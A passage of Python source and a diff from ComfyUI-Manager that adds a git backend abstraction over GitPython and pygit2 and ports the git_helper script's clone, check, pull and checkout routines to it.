# https->ssh) or credential helpers that force authentication,
# which libgit2 cannot satisfy without a credentials callback
# ("authentication required but no callback set"). The bundled
# pygit2 has no SSH transport, so an SSH rewrite can never succeed;
# blanking the config search path keeps clone/fetch on anonymous
# HTTPS.
try:
from pygit2.enums import ConfigLevel as _ConfigLevel
_cfg_levels = [_ConfigLevel.SYSTEM, _ConfigLevel.XDG, _ConfigLevel.GLOBAL]
except (ImportError, AttributeError):
_cfg_levels = [
_pygit2.GIT_CONFIG_LEVEL_SYSTEM,
_pygit2.GIT_CONFIG_LEVEL_XDG,
_pygit2.GIT_CONFIG_LEVEL_GLOBAL,
]
for _lvl in _cfg_levels:
try:
_pygit2.settings.search_path[_lvl] = ""
except Exception:
pass
if not USE_PYGIT2:
import git as _git
# ---------------------------------------------------------------------------
# Shared exception type
# ---------------------------------------------------------------------------
if USE_PYGIT2:
class GitCommandError(Exception):
"""Stand-in for git.GitCommandError when using pygit2 backend."""
pass
else:
from git import GitCommandError # noqa: F401
# ---------------------------------------------------------------------------
# Banner
# ---------------------------------------------------------------------------
if USE_PYGIT2:
if _PYGIT2_REQUESTED:
print("[ComfyUI-Manager] Using pygit2 backend (CM_USE_PYGIT2=1)")
else:
print("[ComfyUI-Manager] Using pygit2 backend (system git not available)")
else:
print("[ComfyUI-Manager] Using GitPython backend")
# ===================================================================
# Abstract base class
# ===================================================================
class GitRepo(ABC):
"""Abstract interface for git repository operations."""
@property
@abstractmethod
def working_dir(self) -> str: ...
@property
@abstractmethod
def head_commit_hexsha(self) -> str: ...
@property
@abstractmethod
def head_is_detached(self) -> bool: ...
@property
@abstractmethod
def head_commit_datetime(self): ...
@property
@abstractmethod
def active_branch_name(self) -> str: ...
@abstractmethod
def is_dirty(self) -> bool: ...
@abstractmethod
def get_tracking_remote_name(self) -> str: ...
@abstractmethod
def get_remote(self, name: str): ...
@abstractmethod
def has_ref(self, ref_name: str) -> bool: ...
@abstractmethod
def get_ref_commit_hexsha(self, ref_name: str) -> str: ...
@abstractmethod
def get_ref_commit_datetime(self, ref_name: str): ...
@abstractmethod
def list_remotes(self) -> list: ...
@abstractmethod
def get_remote_url(self, index_or_name) -> str: ...
@abstractmethod
def iter_commits_count(self) -> int: ...
@abstractmethod
def symbolic_ref(self, ref: str) -> str: ...
@abstractmethod
def describe_tags(self, exact_match=False): ...
@abstractmethod
def list_tags(self) -> list: ...
@abstractmethod
def list_heads(self) -> list: ...
@abstractmethod
def list_branches(self) -> list: ...
@abstractmethod
def get_head_by_name(self, name: str): ...
@abstractmethod
def head_commit_equals(self, other_commit) -> bool: ...
@abstractmethod
def get_ref_object(self, ref_name: str): ...
@abstractmethod
def stash(self): ...
@abstractmethod
def pull_ff_only(self): ...
@abstractmethod
def reset_hard(self, ref: str): ...
@abstractmethod
def create_backup_branch(self, name: str): ...
@abstractmethod
def checkout(self, ref): ...
@abstractmethod
def checkout_new_branch(self, branch_name: str, start_point: str): ...
@abstractmethod
def submodule_update(self): ...
@abstractmethod
def clear_cache(self): ...
@abstractmethod
def fetch_remote_by_index(self, index): ...
@abstractmethod
def pull_remote_by_index(self, index): ...
@abstractmethod
def close(self): ...
def __enter__(self):
return self
def __exit__(self, *args):
self.close()
# ===================================================================
# Helper types for tag/head/ref proxies
# ===================================================================
class _TagProxy:
"""Mimics a GitPython tag reference: .name and .commit."""
def __init__(self, name, commit_obj):
self.name = name
self.commit = commit_obj
class _HeadProxy:
"""Mimics a GitPython head reference: .name and .commit."""
def __init__(self, name, commit_obj=None):
self.name = name
self.commit = commit_obj
class _RefProxy:
"""Mimics a GitPython ref: .object.hexsha, .object.committed_datetime, .reference.commit."""
def __init__(self, hexsha, committed_datetime, commit_obj=None):
self.object = type('obj', (), {
'hexsha': hexsha,
'committed_datetime': committed_datetime,
})()
self.reference = type('ref', (), {'commit': commit_obj})() if commit_obj is not None else None
class _RemoteProxy:
"""Mimics a GitPython remote: .name, .url, .fetch(), .pull()."""
def __init__(self, name, url, fetch_fn, pull_fn=None):
self.name = name
self.url = url
self._fetch = fetch_fn
self._pull = pull_fn
def fetch(self):
return self._fetch()
def pull(self):
if self._pull is not None:
return self._pull()
raise GitCommandError("pull not supported on this remote")
# ===================================================================
# GitPython wrapper — 1:1 pass-throughs
# ===================================================================
class _GitPythonRepo(GitRepo):
def __init__(self, path):
self._repo = _git.Repo(path)
@property
def working_dir(self):
return self._repo.working_dir
@property
def head_commit_hexsha(self):
return self._repo.head.commit.hexsha
@property
def head_is_detached(self):
return self._repo.head.is_detached
@property
def head_commit_datetime(self):
return self._repo.head.commit.committed_datetime
@property
def active_branch_name(self):
return self._repo.active_branch.name
def is_dirty(self):
return self._repo.is_dirty()
def get_tracking_remote_name(self):
return self._repo.active_branch.tracking_branch().remote_name
def get_remote(self, name):
r = self._repo.remote(name=name)
return _RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
def has_ref(self, ref_name):
return ref_name in self._repo.refs
def get_ref_commit_hexsha(self, ref_name):
return self._repo.refs[ref_name].object.hexsha
def get_ref_commit_datetime(self, ref_name):
return self._repo.refs[ref_name].object.committed_datetime
def list_remotes(self):
return [_RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
for r in self._repo.remotes]
def get_remote_url(self, index_or_name):
if isinstance(index_or_name, int):
return self._repo.remotes[index_or_name].url
return self._repo.remote(name=index_or_name).url
def iter_commits_count(self):
return len(list(self._repo.iter_commits('HEAD')))
def symbolic_ref(self, ref):
return self._repo.git.symbolic_ref(ref)
def describe_tags(self, exact_match=False):
try:
if exact_match:
return self._repo.git.describe('--tags', '--exact-match')
else:
return self._repo.git.describe('--tags')
except Exception:
return None
def list_tags(self):
return [_TagProxy(t.name, t.commit) for t in self._repo.tags]
def list_heads(self):
return [_HeadProxy(h.name, h.commit) for h in self._repo.heads]
def list_branches(self):
return [_HeadProxy(b.name, b.commit) for b in self._repo.branches]
def get_head_by_name(self, name):
head = getattr(self._repo.heads, name)
return _HeadProxy(head.name, head.commit)
def head_commit_equals(self, other_commit):
return self._repo.head.commit == other_commit
def get_ref_object(self, ref_name):
ref = self._repo.refs[ref_name]
try:
ref_commit = ref.reference.commit
except (TypeError, AttributeError):
ref_commit = ref.object
return _RefProxy(
ref.object.hexsha,
ref.object.committed_datetime,
commit_obj=ref_commit,
)
def stash(self):
self._repo.git.stash()
def pull_ff_only(self):
self._repo.git.pull('--ff-only')
def reset_hard(self, ref):
self._repo.git.reset('--hard', ref)
def create_backup_branch(self, name):
self._repo.create_head(name)
def checkout(self, ref):
self._repo.git.checkout(ref)
def checkout_new_branch(self, branch_name, start_point):
self._repo.git.checkout('-b', branch_name, start_point)
def submodule_update(self):
self._repo.git.submodule('update', '--init', '--recursive')
def clear_cache(self):
self._repo.git.clear_cache()
def fetch_remote_by_index(self, index):
self._repo.remotes[index].fetch()
def pull_remote_by_index(self, index):
self._repo.remotes[index].pull()
def close(self):
self._repo.close()
# ===================================================================
# Pygit2 wrapper
# ===================================================================
class _Pygit2Repo(GitRepo):
def __init__(self, path):
repo_path = os.path.abspath(path)
git_dir = os.path.join(repo_path, '.git')
for sub in ['refs/heads', 'refs/tags', 'refs/remotes']:
try:
os.makedirs(os.path.join(git_dir, sub), exist_ok=True)
except OSError:
pass
self._repo = _pygit2.Repository(git_dir)
self._working_dir = repo_path
def _fetch_remote(self, remote, refspecs=None):
"""Fetch *remote* over the preserved proxy, transparently rewriting an
SSH-form origin to anonymous HTTPS in memory.
The bundled pygit2 has no SSH transport, so a stored `git@host:...`
origin would fail with an auth error. When the URL is SSH-form we fetch
through an in-memory anonymous remote over HTTPS, leaving `.git/config`
untouched (no on-disk rewrite).
"""
https_url = _to_https_url(remote.url)
if https_url != remote.url:
anon = self._repo.remotes.create_anonymous(https_url)
anon.fetch(
list(refspecs) if refspecs is not None
else list(remote.fetch_refspecs),
proxy=_HTTP_PROXY,
)
elif refspecs is not None:
remote.fetch(list(refspecs), proxy=_HTTP_PROXY)
else:
remote.fetch(proxy=_HTTP_PROXY)
@property
def working_dir(self):
return self._working_dir
@property
def head_commit_hexsha(self):
return str(self._repo.head.peel(_pygit2.Commit).id)
@property
def head_is_detached(self):
return self._repo.head_is_detached
@property
def head_commit_datetime(self):
commit = self._repo.head.peel(_pygit2.Commit)
ts = commit.commit_time
offset_minutes = commit.commit_time_offset
tz = timezone(timedelta(minutes=offset_minutes))
return datetime.fromtimestamp(ts, tz=tz)
@property
def active_branch_name(self):
ref = self._repo.head.name
if ref.startswith('refs/heads/'):
return ref[len('refs/heads/'):]
return ref
def is_dirty(self):
st = self._repo.status()
for flags in st.values():
if flags == _pygit2.GIT_STATUS_CURRENT:
continue
if flags == _pygit2.GIT_STATUS_IGNORED:
continue
if flags == _pygit2.GIT_STATUS_WT_NEW:
continue
return True
return False
def get_tracking_remote_name(self):
branch = self._repo.branches.get(self.active_branch_name)
if branch is None:
raise GitCommandError("Cannot determine tracking branch: HEAD is detached or branch not found")
upstream = branch.upstream
if upstream is None:
raise GitCommandError(f"No upstream configured for branch '{self.active_branch_name}'")
# upstream.name can be "origin/master" or "refs/remotes/origin/master"
name = upstream.name
if name.startswith('refs/remotes/'):
name = name[len('refs/remotes/'):]
return name.split('/')[0]
def _pull_remote(self, remote):
"""Fetch *remote* and fast-forward the active branch onto its upstream."""
self._fetch_remote(remote)
branch_name = self.active_branch_name
branch = self._repo.branches.get(branch_name)
if branch and branch.upstream:
remote_commit = branch.upstream.peel(_pygit2.Commit)
analysis, _ = self._repo.merge_analysis(remote_commit.id)
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
self._repo.checkout_tree(self._repo.get(remote_commit.id))
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
if branch_ref is not None:
branch_ref.set_target(remote_commit.id)
self._repo.head.set_target(remote_commit.id)
def get_remote(self, name):
remote = self._repo.remotes[name]
return _RemoteProxy(remote.name, remote.url,
lambda: self._fetch_remote(remote),
lambda: self._pull_remote(remote))
def has_ref(self, ref_name):
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
f'refs/tags/{ref_name}', ref_name]:
try:
if self._repo.references.get(prefix) is not None:
return True
except Exception:
pass
return False
def _resolve_ref(self, ref_name):
for prefix in [f'refs/remotes/{ref_name}', f'refs/heads/{ref_name}',
f'refs/tags/{ref_name}', ref_name]:
ref = self._repo.references.get(prefix)
if ref is not None:
return ref.peel(_pygit2.Commit)
raise GitCommandError(f"Reference not found: {ref_name}")
def get_ref_commit_hexsha(self, ref_name):
return str(self._resolve_ref(ref_name).id)
def get_ref_commit_datetime(self, ref_name):
commit = self._resolve_ref(ref_name)
ts = commit.commit_time
offset_minutes = commit.commit_time_offset
tz = timezone(timedelta(minutes=offset_minutes))
return datetime.fromtimestamp(ts, tz=tz)
def list_remotes(self):
result = []
for r in self._repo.remotes:
result.append(_RemoteProxy(r.name, r.url,
lambda r=r: self._fetch_remote(r),
lambda r=r: self._pull_remote(r)))
return result
def get_remote_url(self, index_or_name):
if isinstance(index_or_name, int):
remotes = list(self._repo.remotes)
return remotes[index_or_name].url
return self._repo.remotes[index_or_name].url
def iter_commits_count(self):
count = 0
head_commit = self._repo.head.peel(_pygit2.Commit)
visited = set()
queue = deque([head_commit.id])
while queue:
oid = queue.popleft()
if oid in visited:
continue
visited.add(oid)
count += 1
commit = self._repo.get(oid)
if commit is not None:
for parent_id in commit.parent_ids:
if parent_id not in visited:
queue.append(parent_id)
return count
def symbolic_ref(self, ref):
git_dir = self._repo.path
ref_file = os.path.join(git_dir, ref)
if os.path.isfile(ref_file):
with open(ref_file, 'r') as f:
content = f.read().strip()
if content.startswith('ref: '):
return content[5:]
return content
ref_obj = self._repo.references.get(ref)
if ref_obj is not None and ref_obj.type == _pygit2.GIT_REFERENCE_SYMBOLIC:
return ref_obj.target
raise GitCommandError(f"Not a symbolic reference: {ref}")
def describe_tags(self, exact_match=False):
try:
if exact_match:
head_oid = self._repo.head.peel(_pygit2.Commit).id
for ref_name in self._repo.references:
if not ref_name.startswith('refs/tags/'):
continue
ref = self._repo.references.get(ref_name)
if ref is None:
continue
try:
if ref.peel(_pygit2.Commit).id == head_oid:
return ref_name[len('refs/tags/'):]
except Exception:
pass
return None
else:
import math
num_objects = sum(1 for _ in self._repo.odb)
abbrev = max(7, math.ceil(math.log2(max(num_objects, 1)) / 2)) if num_objects > 0 else 7
return self._repo.describe(
describe_strategy=1,
abbreviated_size=abbrev,
)
except Exception:
return None
def list_tags(self):
tags = []
for ref_name in self._repo.references:
if ref_name.startswith('refs/tags/'):
tag_name = ref_name[len('refs/tags/'):]
ref = self._repo.references.get(ref_name)
if ref is not None:
try:
commit = ref.peel(_pygit2.Commit)
commit_obj = type('commit', (), {
'hexsha': str(commit.id),
'committed_datetime': datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
),
})()
tags.append(_TagProxy(tag_name, commit_obj))
except Exception:
tags.append(_TagProxy(tag_name, None))
return tags
def list_heads(self):
heads = []
for ref_name in self._repo.references:
if ref_name.startswith('refs/heads/'):
branch_name = ref_name[len('refs/heads/'):]
ref = self._repo.references.get(ref_name)
commit_obj = None
if ref is not None:
try:
commit = ref.peel(_pygit2.Commit)
commit_obj = type('commit', (), {
'hexsha': str(commit.id),
'committed_datetime': datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
),
})()
except Exception:
pass
heads.append(_HeadProxy(branch_name, commit_obj))
return heads
def list_branches(self):
return self.list_heads()
def get_head_by_name(self, name):
ref = self._repo.references.get(f'refs/heads/{name}')
if ref is None:
raise AttributeError(f"Head '{name}' not found")
try:
commit = ref.peel(_pygit2.Commit)
commit_obj = type('commit', (), {
'hexsha': str(commit.id),
'committed_datetime': datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
),
})()
except Exception:
commit_obj = None
return _HeadProxy(name, commit_obj)
def head_commit_equals(self, other_commit):
head_sha = str(self._repo.head.peel(_pygit2.Commit).id)
if hasattr(other_commit, 'hexsha'):
return head_sha == other_commit.hexsha
return head_sha == str(other_commit)
def get_ref_object(self, ref_name):
commit = self._resolve_ref(ref_name)
hexsha = str(commit.id)
dt = datetime.fromtimestamp(
commit.commit_time,
tz=timezone(timedelta(minutes=commit.commit_time_offset))
)
commit_obj = type('commit', (), {
'hexsha': hexsha,
'committed_datetime': dt,
})()
return _RefProxy(hexsha, dt, commit_obj=commit_obj)
def stash(self):
sig = _pygit2.Signature('comfyui-manager', 'manager@comfy')
self._repo.stash(sig)
def pull_ff_only(self):
branch_name = self.active_branch_name
branch = self._repo.branches.get(branch_name)
if branch is None:
raise GitCommandError(f"Branch '{branch_name}' not found")
upstream = branch.upstream
if upstream is None:
raise GitCommandError(f"No upstream for branch '{branch_name}'")
remote_name = upstream.remote_name
self._fetch_remote(self._repo.remotes[remote_name])
upstream = self._repo.branches.get(branch_name).upstream
if upstream is None:
raise GitCommandError(f"Upstream lost after fetch for '{branch_name}'")
remote_commit = upstream.peel(_pygit2.Commit)
analysis, _ = self._repo.merge_analysis(remote_commit.id)
if analysis & _pygit2.GIT_MERGE_ANALYSIS_UP_TO_DATE:
return
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
self._repo.checkout_tree(self._repo.get(remote_commit.id))
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
if branch_ref is not None:
branch_ref.set_target(remote_commit.id)
self._repo.head.set_target(remote_commit.id)
else:
raise GitCommandError("Cannot fast-forward; merge or rebase required")
def reset_hard(self, ref):
commit = None
# Try as hex SHA first
try:
oid = _pygit2.Oid(hex=ref)
commit = self._repo.get(oid)
except (ValueError, Exception):
pass
if commit is None:
# Try as named reference
for candidate in [ref, f'refs/remotes/{ref}', f'refs/heads/{ref}', f'refs/tags/{ref}']:
try:
ref_obj = self._repo.references.get(candidate)
if ref_obj is not None:
commit = ref_obj.peel(_pygit2.Commit)
break
except Exception:
continue
if commit is None:
raise GitCommandError(f"Cannot resolve ref: {ref}")
self._repo.reset(commit.id, _pygit2.GIT_RESET_HARD)
def create_backup_branch(self, name):
head_commit = self._repo.head.peel(_pygit2.Commit)
self._repo.branches.local.create(name, head_commit)
def checkout(self, ref):
# ref can be a _HeadProxy from get_head_by_name
if isinstance(ref, _HeadProxy):
ref = ref.name
branch = self._repo.branches.get(ref)
if branch is not None:
branch_ref = self._repo.lookup_reference(f'refs/heads/{ref}')
self._repo.checkout(branch_ref)
self._repo.set_head(branch_ref.name)
return
for prefix in [f'refs/remotes/{ref}', f'refs/tags/{ref}']:
ref_obj = self._repo.references.get(prefix)
if ref_obj is not None:
commit = ref_obj.peel(_pygit2.Commit)
self._repo.checkout_tree(self._repo.get(commit.id))
self._repo.set_head(commit.id)
return
try:
oid = _pygit2.Oid(hex=ref)
obj = self._repo.get(oid)
if obj is not None:
commit = obj.peel(_pygit2.Commit)
self._repo.checkout_tree(self._repo.get(commit.id))
self._repo.set_head(commit.id)
return
except Exception:
pass
raise GitCommandError(f"Cannot resolve ref for checkout: {ref}")
def checkout_new_branch(self, branch_name, start_point):
commit = self._resolve_ref(start_point)
branch = self._repo.branches.local.create(branch_name, commit)
for prefix in [f'refs/remotes/{start_point}']:
remote_ref = self._repo.references.get(prefix)
if remote_ref is not None:
try:
branch.upstream = remote_ref
except Exception:
pass
break
self._repo.checkout(branch)
self._repo.set_head(branch.name)
def submodule_update(self):
try:
self._repo.submodules.init()
self._repo.submodules.update()
except Exception:
import subprocess
try:
result = subprocess.run(
['git', 'submodule', 'update', '--init', '--recursive'],
cwd=self._working_dir,
capture_output=True, timeout=120,
)
if result.returncode != 0:
raise GitCommandError(
f"submodule update failed (exit {result.returncode}): "
f"{result.stderr.decode(errors='replace')}")
except FileNotFoundError:
print("[ComfyUI-Manager] pygit2: submodule update requires system git (not installed)", file=sys.stderr)
except GitCommandError:
raise
except Exception as sub_e:
print(f"[ComfyUI-Manager] pygit2: submodule update failed: {sub_e}", file=sys.stderr)
def clear_cache(self):
pass
def fetch_remote_by_index(self, index):
remotes = list(self._repo.remotes)
self._fetch_remote(remotes[index])
def pull_remote_by_index(self, index):
remotes = list(self._repo.remotes)
remote = remotes[index]
self._fetch_remote(remote)
# After fetch, try to ff-merge tracking branch
try:
branch_name = self.active_branch_name
branch = self._repo.branches.get(branch_name)
if branch and branch.upstream:
remote_commit = branch.upstream.peel(_pygit2.Commit)
analysis, _ = self._repo.merge_analysis(remote_commit.id)
if analysis & _pygit2.GIT_MERGE_ANALYSIS_FASTFORWARD:
self._repo.checkout_tree(self._repo.get(remote_commit.id))
branch_ref = self._repo.references.get(f'refs/heads/{branch_name}')
if branch_ref is not None:
branch_ref.set_target(remote_commit.id)
self._repo.head.set_target(remote_commit.id)
except Exception:
pass
def close(self):
self._repo.free()
# ===================================================================
# Public API
# ===================================================================
def open_repo(path) -> GitRepo:
"""Open a repository and return a backend-appropriate wrapper."""
if USE_PYGIT2:
return _Pygit2Repo(path)
else:
return _GitPythonRepo(path)
def clone_repo(url, dest, progress=None):
"""Clone a repository from *url* into *dest*.
Returns a repo wrapper that the caller can use for post-clone operations
(checkout, clear_cache, close, etc.).
"""
if USE_PYGIT2:
# The proxy= kwarg requires pygit2>=1.18; omit it when no proxy is
# configured so proxy-less installs keep working on older pygit2.
# (A configured proxy still needs >=1.18 — see requirements.txt.)
if _HTTP_PROXY is not None:
_pygit2.clone_repository(_to_https_url(url), dest, proxy=_HTTP_PROXY)
else:
_pygit2.clone_repository(_to_https_url(url), dest)
repo = _Pygit2Repo(dest)
repo.submodule_update()
return repo
else:
if progress is None:
r = _git.Repo.clone_from(url, dest, recursive=True)
else:
r = _git.Repo.clone_from(url, dest, recursive=True, progress=progress)
return _GitPythonRepo(r.working_dir)
def setup_git_environment(git_exe):
"""Configure the git executable path (GitPython only)."""
if USE_PYGIT2:
return
if git_exe:
_git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
@@ -2,23 +2,31 @@ import subprocess
import sys
import os
import traceback
import time
import git
# Make git_compat importable as a standalone subprocess script
sys.path.insert(0, os.path.dirname(__file__))
from git_compat import open_repo, clone_repo, GitCommandError, setup_git_environment
import json
import yaml
import requests
from tqdm.auto import tqdm
from git.remote import RemoteProgress
try:
from git.remote import RemoteProgress
except ImportError:
RemoteProgress = object
comfy_path = os.environ.get('COMFYUI_PATH')
git_exe_path = os.environ.get('GIT_EXE_PATH')
if comfy_path is None:
print("\nWARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.", file=sys.stderr)
comfy_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..'))
print("git_helper: environment variable 'COMFYUI_PATH' is not specified.")
exit(-1)
if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
print("git_helper: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.")
exit(-1)
def download_url(url, dest_folder, filename=None):
# Ensure the destination folder exists
@@ -48,9 +56,6 @@ working_directory = os.getcwd()
if os.path.basename(working_directory) != 'custom_nodes':
print("WARN: This script should be executed in custom_nodes dir")
print(f"DBG: INFO {working_directory}")
print(f"DBG: INFO {sys.argv}")
# exit(-1)
class GitProgress(RemoteProgress):
@@ -65,68 +70,113 @@ class GitProgress(RemoteProgress):
self.pbar.refresh()
def get_backup_branch_name(repo=None):
"""Get backup branch name with current timestamp.
Inlined from timestamp_utils to keep git_helper.py standalone this script
runs as a subprocess on Windows and must not import from comfyui_manager.
"""
import time as _time
import uuid as _uuid
base_name = f'backup_{_time.strftime("%Y%m%d_%H%M%S")}'
if repo is None:
return base_name
try:
existing_branches = {b.name for b in repo.list_heads()}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
return f'{base_name}_{_uuid.uuid4().hex[:6]}'
def gitclone(custom_nodes_path, url, target_hash=None, repo_path=None):
repo_name = os.path.splitext(os.path.basename(url))[0]
if repo_path is None:
repo_path = os.path.join(custom_nodes_path, repo_name)
# Clone the repository from the remote URL
repo = git.Repo.clone_from(url, repo_path, recursive=True, progress=GitProgress())
# On Windows, previous failed clones may leave directories with locked
# .git/objects/pack/* files (GitPython memory-mapped handle leak).
# Rename stale directory out of the way so clone can proceed.
if os.path.exists(repo_path):
import shutil
import uuid as _uuid
trash_dir = os.path.join(custom_nodes_path, '.disabled', '.trash')
os.makedirs(trash_dir, exist_ok=True)
trash = os.path.join(trash_dir, repo_name + f'_{_uuid.uuid4().hex[:8]}')
try:
os.rename(repo_path, trash)
shutil.rmtree(trash, ignore_errors=True)
except OSError:
shutil.rmtree(repo_path, ignore_errors=True)
# Disable tqdm progress when stderr is piped to avoid deadlock on Windows.
progress = GitProgress() if sys.stderr.isatty() else None
repo = clone_repo(url, repo_path, progress=progress)
if target_hash is not None:
print(f"CHECKOUT: {repo_name} [{target_hash}]")
repo.git.checkout(target_hash)
repo.checkout(target_hash)
repo.git.clear_cache()
repo.clear_cache()
repo.close()
def gitcheck(path, do_fetch=False):
try:
# Fetch the latest commits from the remote repository
repo = git.Repo(path)
with open_repo(path) as repo:
if repo.head.is_detached:
print("CUSTOM NODE CHECK: True")
return
current_branch = repo.active_branch
branch_name = current_branch.name
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
if do_fetch:
remote.fetch()
# Get the current commit hash and the commit hash of the remote branch
commit_hash = repo.head.commit.hexsha
if f'{remote_name}/{branch_name}' in repo.refs:
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
else:
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
return
# Compare the commit hashes to determine if the local repository is behind the remote repository
if commit_hash != remote_commit_hash:
# Get the commit dates
commit_date = repo.head.commit.committed_datetime
remote_commit_date = repo.refs[f'{remote_name}/{branch_name}'].object.committed_datetime
# Compare the commit dates to determine if the local repository is behind the remote repository
if commit_date < remote_commit_date:
if repo.head_is_detached:
print("CUSTOM NODE CHECK: True")
else:
print("CUSTOM NODE CHECK: False")
return
branch_name = repo.active_branch_name
remote_name = repo.get_tracking_remote_name()
remote = repo.get_remote(remote_name)
if do_fetch:
remote.fetch()
# Get the current commit hash and the commit hash of the remote branch
commit_hash = repo.head_commit_hexsha
if repo.has_ref(f'{remote_name}/{branch_name}'):
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
else:
print("CUSTOM NODE CHECK: True") # non default branch is treated as updatable
return
# Compare the commit hashes to determine if the local repository is behind the remote repository
if commit_hash != remote_commit_hash:
# Get the commit dates
commit_date = repo.head_commit_datetime
remote_commit_date = repo.get_ref_commit_datetime(f'{remote_name}/{branch_name}')
# Compare the commit dates to determine if the local repository is behind the remote repository
if commit_date < remote_commit_date:
print("CUSTOM NODE CHECK: True")
else:
print("CUSTOM NODE CHECK: False")
except Exception as e:
print(e)
print("CUSTOM NODE CHECK: Error")
def get_remote_name(repo):
available_remotes = [remote.name for remote in repo.remotes]
available_remotes = [remote.name for remote in repo.list_remotes()]
if 'origin' in available_remotes:
return 'origin'
elif 'upstream' in available_remotes:
@@ -151,30 +201,30 @@ def switch_to_default_branch(repo):
if remote_name is None:
return False
default_branch = repo.git.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.git.checkout(default_branch)
default_branch = repo.symbolic_ref(f'refs/remotes/{remote_name}/HEAD').replace(f'refs/remotes/{remote_name}/', '')
repo.checkout(default_branch)
return True
except:
except Exception:
# try checkout master
# try checkout main if failed
try:
repo.git.checkout(repo.heads.master)
repo.checkout(repo.get_head_by_name('master'))
return True
except:
except Exception:
try:
if remote_name is not None:
repo.git.checkout('-b', 'master', f'{remote_name}/master')
repo.checkout_new_branch('master', f'{remote_name}/master')
return True
except:
except Exception:
try:
repo.git.checkout(repo.heads.main)
repo.checkout(repo.get_head_by_name('main'))
return True
except:
except Exception:
try:
if remote_name is not None:
repo.git.checkout('-b', 'main', f'{remote_name}/main')
repo.checkout_new_branch('main', f'{remote_name}/main')
return True
except:
except Exception:
pass
print("[ComfyUI Manager] Failed to switch to the default branch")
@@ -187,72 +237,67 @@ def gitpull(path):
raise ValueError('Not a git repository')
# Pull the latest changes from the remote repository
repo = git.Repo(path)
if repo.is_dirty():
print(f"STASH: '{path}' is dirty.")
repo.git.stash()
commit_hash = repo.head.commit.hexsha
try:
if repo.head.is_detached:
switch_to_default_branch(repo)
current_branch = repo.active_branch
branch_name = current_branch.name
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
if f'{remote_name}/{branch_name}' not in repo.refs:
switch_to_default_branch(repo)
current_branch = repo.active_branch
branch_name = current_branch.name
remote.fetch()
if f'{remote_name}/{branch_name}' in repo.refs:
remote_commit_hash = repo.refs[f'{remote_name}/{branch_name}'].object.hexsha
else:
print("CUSTOM NODE PULL: Fail") # update fail
return
if commit_hash == remote_commit_hash:
print("CUSTOM NODE PULL: None") # there is no update
repo.close()
return
with open_repo(path) as repo:
if repo.is_dirty():
print(f"STASH: '{path}' is dirty.")
repo.stash()
commit_hash = repo.head_commit_hexsha
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = f'backup_{time.strftime("%Y%m%d_%H%M%S")}'
repo.create_head(backup_name)
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
if repo.head_is_detached:
switch_to_default_branch(repo)
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
branch_name = repo.active_branch_name
if commit_hash != new_commit_hash:
print("CUSTOM NODE PULL: Success") # update success
else:
print("CUSTOM NODE PULL: Fail") # update fail
except Exception as e:
print(e)
print("CUSTOM NODE PULL: Fail") # unknown git error
remote_name = repo.get_tracking_remote_name()
remote = repo.get_remote(remote_name)
repo.close()
if not repo.has_ref(f'{remote_name}/{branch_name}'):
switch_to_default_branch(repo)
branch_name = repo.active_branch_name
remote.fetch()
if repo.has_ref(f'{remote_name}/{branch_name}'):
remote_commit_hash = repo.get_ref_commit_hexsha(f'{remote_name}/{branch_name}')
else:
print("CUSTOM NODE PULL: Fail") # update fail
return
if commit_hash == remote_commit_hash:
print("CUSTOM NODE PULL: None") # there is no update
return
try:
repo.pull_ff_only()
except GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_backup_branch(backup_name)
print(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.reset_hard(f'{remote_name}/{branch_name}')
print(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.submodule_update()
new_commit_hash = repo.head_commit_hexsha
if commit_hash != new_commit_hash:
print("CUSTOM NODE PULL: Success") # update success
else:
print("CUSTOM NODE PULL: Fail") # update fail
except Exception as e:
print(e)
print("CUSTOM NODE PULL: Fail") # unknown git error
def checkout_comfyui_hash(target_hash):
repo = git.Repo(comfy_path)
commit_hash = repo.head.commit.hexsha
with open_repo(comfy_path) as repo:
commit_hash = repo.head_commit_hexsha
if commit_hash != target_hash:
try:
print(f"CHECKOUT: ComfyUI [{target_hash}]")
repo.git.checkout(target_hash)
except git.GitCommandError as e:
print(f"Error checking out the ComfyUI: {str(e)}")
if commit_hash != target_hash:
try:
print(f"CHECKOUT: ComfyUI [{target_hash}]")
repo.checkout(target_hash)
except GitCommandError as e:
print(f"Error checking out the ComfyUI: {str(e)}")
def checkout_custom_node_hash(git_custom_node_infos):
